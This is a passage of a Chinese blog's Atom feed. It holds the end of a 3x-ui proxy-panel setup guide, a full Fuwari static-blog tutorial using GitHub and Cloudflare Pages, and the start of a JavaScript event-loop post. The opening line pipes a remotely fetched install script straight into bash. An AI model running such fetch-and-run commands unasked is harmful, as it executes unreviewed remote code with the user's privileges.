&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;bash &amp;lt;(curl -Ls https://raw.githubusercontent.com&#x2F;mhsanaei&#x2F;3x-ui&#x2F;master&#x2F;install.sh)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;一路回车，直到面板安装完成，打印下述信息：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;This is a fresh installation, generating random login info for security concerns:
###############################################
Username: XXXXXXXX
Password: XXXXXXXX
Port: XXXXX
WebBasePath: XXXXXXXXXXXXXXXXXX
Access URL: http:&#x2F;&#x2F;XX.XX.XX.XX:XXXXX&#x2F;XXXXXXXXXXXXXXXXXX
###############################################
If you forgot your login info, you can type &amp;#39;x-ui settings&amp;#39; to check
Start migrating database...
Migration done!
Created symlink &#x2F;etc&#x2F;systemd&#x2F;system&#x2F;multi-user.target.wants&#x2F;x-ui.service → &#x2F;etc&#x2F;systemd&#x2F;system&#x2F;x-ui.service.
x-ui vX.X.X installation finished, it is running now...

┌───────────────────────────────────────────────────────┐
│  x-ui control menu usages (subcommands):              │
│                                                       │
│  x-ui              - Admin Management Script          │
│  x-ui start        - Start                            │
│  x-ui stop         - Stop                             │
│  x-ui restart      - Restart                          │
│  x-ui status       - Current Status                   │
│  x-ui settings     - Current Settings                 │
│  x-ui enable       - Enable Autostart on OS Startup   │
│  x-ui disable      - Disable Autostart on OS Startup  │
│  x-ui log          - Check logs                       │
│  x-ui banlog       - Check Fail2ban ban logs          │
│  x-ui update       - Update                           │
│  x-ui legacy       - legacy version                   │
│  x-ui install      - Install                          │
│  x-ui uninstall    - Uninstall                        │
└───────────────────────────────────────────────────────┘
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来，如果你是NAT机，请先将面板端口改为可用公网的端口。输入 &lt;code&gt;x-ui&lt;&#x2F;code&gt; 找到 &lt;code&gt;Change Port&lt;&#x2F;code&gt; 相关操作执行&lt;&#x2F;p&gt;
&lt;p&gt;然后访问面板。其中 &lt;code&gt;WebBasePath&lt;&#x2F;code&gt; 在安装后会展示&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;https://公网IP:面板端口&#x2F;WebBasePath
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接着点击左侧导航栏的 &lt;code&gt;入站列表&lt;&#x2F;code&gt; -&amp;gt; &lt;code&gt;添加入站&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;端口：任意&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;传输：TCP（RAW）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;安全：Reality&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Dest（Target）：gateway.icloud.com:443&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;SNI：gateway.icloud.com&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;公钥私钥处点一下 &lt;code&gt;Get New Cert&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;示例配置如图&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;bea44337-b899-4b11-a314-4c67b6ec3f51.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后点击修改。保存这份入站配置&lt;&#x2F;p&gt;
&lt;p&gt;接着点击ID左边的+，点击二维码图标，扫码即可导入配置，点击二维码即可复制配置至剪贴板&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;ab538d71-351c-4e3d-aebf-d5b0c32fd4ac.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>Fuwari静态博客搭建教程</title>
        <published>2025-04-30T00:00:00+00:00</published>
        <updated>2025-04-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/fuwari/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/fuwari/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/fuwari/">&lt;h3 id=&quot;ni-xu-yao-zhun-bei-de-dong-xi&quot;&gt;你需要准备的东西&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;一个牛逼的脑子，支持并行运算至少两个单位以上的事件。遇到问题先思考，想不通就搜索，搜索不到就去和AI调情，不要上来就问问问&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://git-scm.com&#x2F;downloads&quot;&gt;Git - Downloads (git-scm.com)&lt;&#x2F;a&gt;：最牛逼的版本控制器，这里用于对Github进行操作，当然，你也可以尝试使用&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;apps&#x2F;desktop&quot;&gt;GitHub Desktop | Simple collaboration from your desktop&lt;&#x2F;a&gt;但就我而言，这玩意更难用&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://nodejs.org&#x2F;en&quot;&gt;Node.js — Run JavaScript Everywhere (nodejs.org)&lt;&#x2F;a&gt;：Fuwari基于Node.js，你需要安装这个来搭建博客&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;一个&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&quot;&gt;Github&lt;&#x2F;a&gt;账号：用于创建一个代码仓库存放Fuwari文件&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;一个&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://cloudflare.com&quot;&gt;Cloudflare&lt;&#x2F;a&gt;账号：用于创建一个Pages并且绑定域名支持访问&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.marktext.cc&quot;&gt;MarkText&lt;&#x2F;a&gt;：这是一个可视化MarkDown编辑器，因为Fuwari的每一篇文章&#x2F;页面都是MarkDown，所以需要一个好用的编辑器&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;你得会用MarkDown语法来编写文章，如果你不会可以参见：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://markdown.com.cn&#x2F;basic-syntax&#x2F;&quot;&gt;Markdown 基本语法 | Markdown 官方教程&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;liu-cheng-tu&quot;&gt;流程图&lt;&#x2F;h3&gt;
&lt;p&gt;本地部署Fuwari，编写文章 -&amp;gt; 推送更改到远程Github仓库 -&amp;gt; Cloudflare Pages检测到仓库更新自动构建新的网站静态文件 -&amp;gt; 网站成功更改&lt;&#x2F;p&gt;
&lt;h3 id=&quot;rang-wo-men-kai-gao-ba&quot;&gt;让我们开搞吧！&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;shou-xian-wo-men-lai-ben-di-bu-shu-fuwari&quot;&gt;首先，我们来本地部署Fuwari&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Fork仓库：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;saicaca&#x2F;fuwari&quot;&gt;https://github.com&#x2F;saicaca&#x2F;fuwari&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;避免有小废物不会Fork仓库，这里附上图片教程&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-14-12-15-44-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-14-12-17-03-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;然后将仓库克隆到本地：&lt;code&gt;git clone &amp;lt;你的仓库URL&amp;gt;&lt;&#x2F;code&gt;（推荐使用SSH，可以不用魔法来推送更改）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;首先，全局安装pnpm：&lt;code&gt;npm install -g pnpm&lt;&#x2F;code&gt;（如果npm国内拉取过慢，请尝试cnpm：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://npmmirror.com&#x2F;&quot;&gt;npmmirror 镜像站&lt;&#x2F;a&gt;）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;然后在项目根目录安装依赖：&lt;code&gt;pnpm install&lt;&#x2F;code&gt;  和 &lt;code&gt;pnpm add sharp&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;至此，你成功在本地部署了Fuwari&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]&lt;&#x2F;p&gt;
&lt;p&gt;你也可以使用创建一个新的空仓库然后手动上传文件，并且可以将仓库可见性设为：Private&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;gai-xie-fuwaride-ji-ben-xin-xi-bing-qie-qing-li-duo-yu-wen-jian&quot;&gt;改写Fuwari的基本信息并且清理多余文件&lt;&#x2F;h4&gt;
&lt;blockquote&gt;
&lt;p&gt;刚创建的Fuwari可能带有一些示例的博主名，ICON，URL，介绍和示例文章，为了让用户知道这是你的博客，我们需要一一改写&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;在根目录下的 &lt;code&gt;src&lt;&#x2F;code&gt; 文件夹中，你可以找到 &lt;code&gt;config.ts&lt;&#x2F;code&gt; 我们来开始改写&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;title：你的博客主标题&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;subtitle：你的博客副标题。可选，在首页会显示为“主标题 - 副标题”&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;lang：博客显示语言。注释已经列出了一些常用的值，如：en, zh_CN, zh_TW, ja, ko&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;themeColor：hue值则是你的博客主题色，可以在你的博客右上角的画板图标确定喜欢的颜色再填写&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-15-09-16-30-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;banner：src：即banner图片，支持http&#x2F;https URL&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;favicon：src：即网站图标，支持http&#x2F;https URL&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;links：即友情链接，这些链接在导航栏上&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;avatar：即你的头像&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;name：即你的名字&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;bio：即个性签名，会显示在头像和名字下面&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;NavBarConfig&lt;&#x2F;code&gt; 为导航栏设置的超链接。&lt;code&gt;ProfileConfig&lt;&#x2F;code&gt; 为你的用户的超链接，分别如图&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-15-17-49-30-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;icon：你需要前往&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://icones.js.org&#x2F;&quot;&gt;icones.js&lt;&#x2F;a&gt;去搜索你想要的图标，比如QQ，则填写 &lt;code&gt;fa6-brands:qq&lt;&#x2F;code&gt; ，如图。Fuwari默认支持这几种类型：&lt;code&gt;fa6-brands&lt;&#x2F;code&gt;, &lt;code&gt;fa6-regular&lt;&#x2F;code&gt;, &lt;code&gt;fa6-solid&lt;&#x2F;code&gt;, &lt;code&gt;material-symbols&lt;&#x2F;code&gt;。可以在 &lt;code&gt;astro.config.mjs&lt;&#x2F;code&gt; 中搜索关键字进行配置&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;1ef05530-10fd-4301-af4e-21ddadf18605.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;da94494b-cc4b-4f07-ae95-8bf3b2f95d3c.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;这里我附上我的 &lt;code&gt;config.ts&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;pre&gt;&lt;code data-lang=&quot;ts&quot;&gt;import type {
  LicenseConfig,
  NavBarConfig,
  ProfileConfig,
  SiteConfig,
} from &amp;#39;.&#x2F;types&#x2F;config&amp;#39;
import { LinkPreset } from &amp;#39;.&#x2F;types&#x2F;config&amp;#39;

export const siteConfig: SiteConfig = {
  title: &amp;#39;AcoFork Blog&amp;#39;,
  subtitle: &amp;#39;爱你所爱！&amp;#39;,
  lang: &amp;#39;zh_CN&amp;#39;,         &#x2F;&#x2F; &amp;#39;en&amp;#39;, &amp;#39;zh_CN&amp;#39;, &amp;#39;zh_TW&amp;#39;, &amp;#39;ja&amp;#39;, &amp;#39;ko&amp;#39;
  themeColor: {
    hue: 355,         &#x2F;&#x2F; Default hue for the theme color, from 0 to 360. e.g. red: 0, teal: 200, cyan: 250, pink: 345
    fixed: false,     &#x2F;&#x2F; Hide the theme color picker for visitors
  },
  banner: {
    enable: true,
    src: &amp;#39;https://eo-r2.2x.nz&#x2F;myblog&#x2F;img&#x2F;222.webp&amp;#39;,   &#x2F;&#x2F; Relative to the &#x2F;src directory. Relative to the &#x2F;public directory if it starts with &amp;#39;&#x2F;&amp;#39;
    position: &amp;#39;center&amp;#39;,      &#x2F;&#x2F; Equivalent to object-position, only supports &amp;#39;top&amp;#39;, &amp;#39;center&amp;#39;, &amp;#39;bottom&amp;#39;. &amp;#39;center&amp;#39; by default
    credit: {
      enable: false,         &#x2F;&#x2F; Display the credit text of the banner image
      text: &amp;#39;&amp;#39;,              &#x2F;&#x2F; Credit text to be displayed
      url: &amp;#39;&amp;#39;                &#x2F;&#x2F; (Optional) URL link to the original artwork or artist&amp;#39;s page
    }
  },
  favicon: [    &#x2F;&#x2F; Leave this array empty to use the default favicon
     {
       src: &amp;#39;https://q2.qlogo.cn&#x2F;headimg_dl?dst_uin=2973517380&amp;amp;spec=5&amp;#39;,    &#x2F;&#x2F; Path of the favicon, relative to the &#x2F;public directory
       &#x2F;&#x2F;theme: &amp;#39;light&amp;#39;,              &#x2F;&#x2F; (Optional) Either &amp;#39;light&amp;#39; or &amp;#39;dark&amp;#39;, set only if you have different favicons for light and dark mode
       sizes: &amp;#39;128x128&amp;#39;,              &#x2F;&#x2F; (Optional) Size of the favicon, set only if you have favicons of different sizes
     }
  ]
}

export const navBarConfig: NavBarConfig = {
  links: [
    LinkPreset.Home,
    LinkPreset.Archive,
    LinkPreset.About,
    {
      name: &amp;#39;随机图&amp;#39;,
      url: &amp;#39;https://pic.onani.cn&amp;#39;,     &#x2F;&#x2F; Internal links should not include the base path, as it is automatically added
      external: true,                               &#x2F;&#x2F; Show an external link icon and will open in a new tab
    },
    {
      name: &amp;#39;GitHub&amp;#39;,
      url: &amp;#39;https://github.com&#x2F;saicaca&#x2F;fuwari&amp;#39;,     &#x2F;&#x2F; Internal links should not include the base path, as it is automatically added
      external: true,                               &#x2F;&#x2F; Show an external link icon and will open in a new tab
    },
  ],
}

export const profileConfig: ProfileConfig = {
  avatar: &amp;#39;https://eo-r2.2x.nz&#x2F;myblog&#x2F;img&#x2F;111.webp&amp;#39;,  &#x2F;&#x2F; Relative to the &#x2F;src directory. Relative to the &#x2F;public directory if it starts with &amp;#39;&#x2F;&amp;#39;
  name: &amp;#39;二叉树树&amp;#39;,
  bio: &amp;#39;Protect What You Love.&#x2F;爱你所爱！&amp;#39;,
  links: [
    &#x2F;&#x2F; {
      &#x2F;&#x2F; name: &amp;#39;Twitter&amp;#39;,
      &#x2F;&#x2F; icon: &amp;#39;fa6-brands:twitter&amp;#39;,       &#x2F;&#x2F; Visit https://icones.js.org&#x2F; for icon codes
                                        &#x2F;&#x2F; You will need to install the corresponding icon set if it&amp;#39;s not already included
                                        &#x2F;&#x2F; `pnpm add @iconify-json&#x2F;&amp;lt;icon-set-name&amp;gt;`
      &#x2F;&#x2F; url: &amp;#39;https://twitter.com&amp;#39;,
    &#x2F;&#x2F; },
    &#x2F;&#x2F; {
      &#x2F;&#x2F; name: &amp;#39;Steam&amp;#39;,
      &#x2F;&#x2F; icon: &amp;#39;fa6-brands:steam&amp;#39;,
      &#x2F;&#x2F; url: &amp;#39;https://store.steampowered.com&amp;#39;,
    &#x2F;&#x2F; },
    {
      name: &amp;#39;GitHub&amp;#39;,
      icon: &amp;#39;fa6-brands:github&amp;#39;,
      url: &amp;#39;https://github.com&#x2F;afoim&amp;#39;,
    },
    {
      name: &amp;#39;QQ&amp;#39;,
      icon: &amp;#39;fa6-brands:qq&amp;#39;,
      url: &amp;#39;https://qm.qq.com&#x2F;q&#x2F;Uy9kmDXHYO&amp;#39;,
    },
    {
      name: &amp;#39;Email&amp;#39;,
      icon: &amp;#39;fa6-solid:envelope&amp;#39;,
      url: &amp;#39;mailto:email@example.com&amp;#39;,
    },
  ],
}

export const licenseConfig: LicenseConfig = {
  enable: true,
  name: &amp;#39;CC BY-NC-SA 4.0&amp;#39;,
  url: &amp;#39;https://creativecommons.org&#x2F;licenses&#x2F;by-nc-sa&#x2F;4.0&#x2F;&amp;#39;,
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;清理多余文件。在根目录下的 &lt;code&gt;src&#x2F;content&#x2F;posts&lt;&#x2F;code&gt; 文件夹中会有一些示例文章，这些文章介绍了一些MarkDown语法和技巧，可以让你更快上手Fuwari和fuwari，我们可以将其保存到别处&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;至此，你已经可以开始撰写文章了&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;rang-wo-men-kai-shi-xie-zuo&quot;&gt;让我们开始写作！&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;首先，在项目根目录执行：&lt;code&gt;pnpm new-post &amp;lt;这里填写你的文章标题&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;然后，在根目录下的 &lt;code&gt;src&#x2F;content&#x2F;posts&lt;&#x2F;code&gt; 文件夹中会多出一个 &lt;code&gt;xxx.md&lt;&#x2F;code&gt;文件&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;我们使用MarkText打开这个文件，你可以看到一些基本信息，我们只需要关注几个重要的信息&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;pre&gt;&lt;code data-lang=&quot;markdown&quot;&gt;title: xxx
published: 2024-10-14
description: &amp;#39;&amp;#39;
image: &amp;#39;&amp;#39;
tags: []
categories: &amp;#39;&amp;#39;
draft: false 
lang: &amp;#39;&amp;#39;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;title：文章标题&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;published：文章创建时间&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;description：文章描述，正常会显示在文章标题下面&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;image：文章封面图（同目录需要写 &lt;code&gt;.&#x2F;&lt;&#x2F;code&gt; 如：&lt;code&gt;.&#x2F;https://eo-r2.2x.nz&#x2F;myblog&#x2F;img&#x2F;2024-10-14-11-33-28-image.webp&lt;&#x2F;code&gt;）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;tag：文章标签&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;categories：文章分类&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;我们还需要更改根目录下的 &lt;code&gt;astro.config.mjs&lt;&#x2F;code&gt; 。在第34行更改 &lt;code&gt;stie:&lt;&#x2F;code&gt; 为你的站点URL，如： &lt;code&gt;site: &quot;https://onani.cn&quot;,&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;欸？有的人就会问了，MarkDown固然好，但是我要如何处理图片的置入呢&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;这也很简单，多亏了MarkText这款软件，我们也可以像编辑Typecho一样直接使用Ctrl+CV来在MarkDown语法中置入图片，但是我们需要一些小设置：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;依次点击：MarkText软件的左上角的三条杠 -&amp;gt; File -&amp;gt; Perferences -&amp;gt; 左侧的Image分类 -&amp;gt; 如图设置 -&amp;gt; 注意更改第一个选项为Copy开头的选项，将Perfer开关打开，然后上下两个文本框一个填写绝对路径一个填写相对路径&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-14-12-54-21-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;这样，当置入图片时，会往 &lt;code&gt;https://eo-r2.2x.nz&#x2F;myblog&#x2F;img&lt;&#x2F;code&gt; 文件夹复制一份，然后通过&lt;code&gt;![1](https://eo-r2.2x.nz&#x2F;myblog&#x2F;img&#x2F;1.webp)&lt;&#x2F;code&gt;写入MarkDown文件。这样网站就能成功读取到图片啦。而你只需要Ctrl+CV，其他操作MarkText都会自动处理&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;至此，你已经会用MarkText编写MarkDown语法的博文了&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;ben-di-yu-lan-ran-hou-fa-bu-dao-github&quot;&gt;本地预览，然后发布到Github&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;当你认为你的文章已经写得差不多时，想要看看效果？请到项目根目录执行：&lt;code&gt;pnpm dev&lt;&#x2F;code&gt;，稍等片刻，你就可以本地预览你的博客啦&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-14-13-03-44-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;好！接下来我们需要使用Git将我们所做的更改发布到Github&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;首先，你需要让Git知道你是谁：&lt;code&gt;git config --global user.name &quot;你的Github用户名&quot;&lt;&#x2F;code&gt;和&lt;code&gt;git config --global user.email &quot;你的Github邮箱@example.com&quot;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;然后，更改远程仓库为ssh*（如果是通过ssh克隆的不用改）：&lt;code&gt;git remote set-url origin git@github.com:xxx&#x2F;xxx&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;随后，让我们提交所有文件：&lt;code&gt;git add .&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;之后，让我们发布一个本地提交：&lt;code&gt;git commit -m &quot;项目初始化&quot;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;最后，让我们将本地更改提交到远程仓库：&lt;code&gt;git push&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;此时，你的Github仓库应该已经有了新的提交&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-14-13-10-12-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;rang-cloudflarelian-jie-shang-github-shi-yong-pagesfu-wu-zhan-shi-ni-de-bo-ke-free&quot;&gt;让Cloudflare连接上Github，使用Pages服务展示你的博客（FREE！）&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;前往Cloudflare的 Workers 和 Pages 页面，创建一个新Pages&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-14-13-14-28-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;然后选择连接Git存储库，连接你的Github，随后设置构建命令：&lt;code&gt;pnpm build&lt;&#x2F;code&gt;  ，然后设置构建输出目录：&lt;code&gt;dist&lt;&#x2F;code&gt; ，如图&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-14-13-16-15-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;绑定自定义域，访问自定义域即可访问你的博客！&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-14-13-17-00-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;随后，你只需要在本地编写文章，然后&lt;a href=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;fuwari&#x2F;#%E6%9C%AC%E5%9C%B0%E9%A2%84%E8%A7%88%E7%84%B6%E5%90%8E%E5%8F%91%E5%B8%83%E5%88%B0github&quot;&gt;使用Git将更改推送到远程仓库&lt;&#x2F;a&gt;，Cloudflare就会自动部署，更新你的博客！&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>浏览器JS运行原理</title>
        <published>2025-04-25T00:00:00+00:00</published>
        <updated>2025-04-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/browser-run-js/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/browser-run-js/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/browser-run-js/">&lt;pre&gt;&lt;code data-lang=&quot;js&quot;&gt;function a() {
    console.log(&amp;quot;1&amp;quot;);
    Promise.resolve().then(() =&amp;gt; {
        console.log(&amp;quot;2&amp;quot;);
    });
}
setTimeout(function () {
    console.log(&amp;quot;3&amp;quot;);
    Promise.resolve().then(a);
}, 0);

Promise.resolve().then(function () {
    console.log(&amp;quot;4&amp;quot;);
});

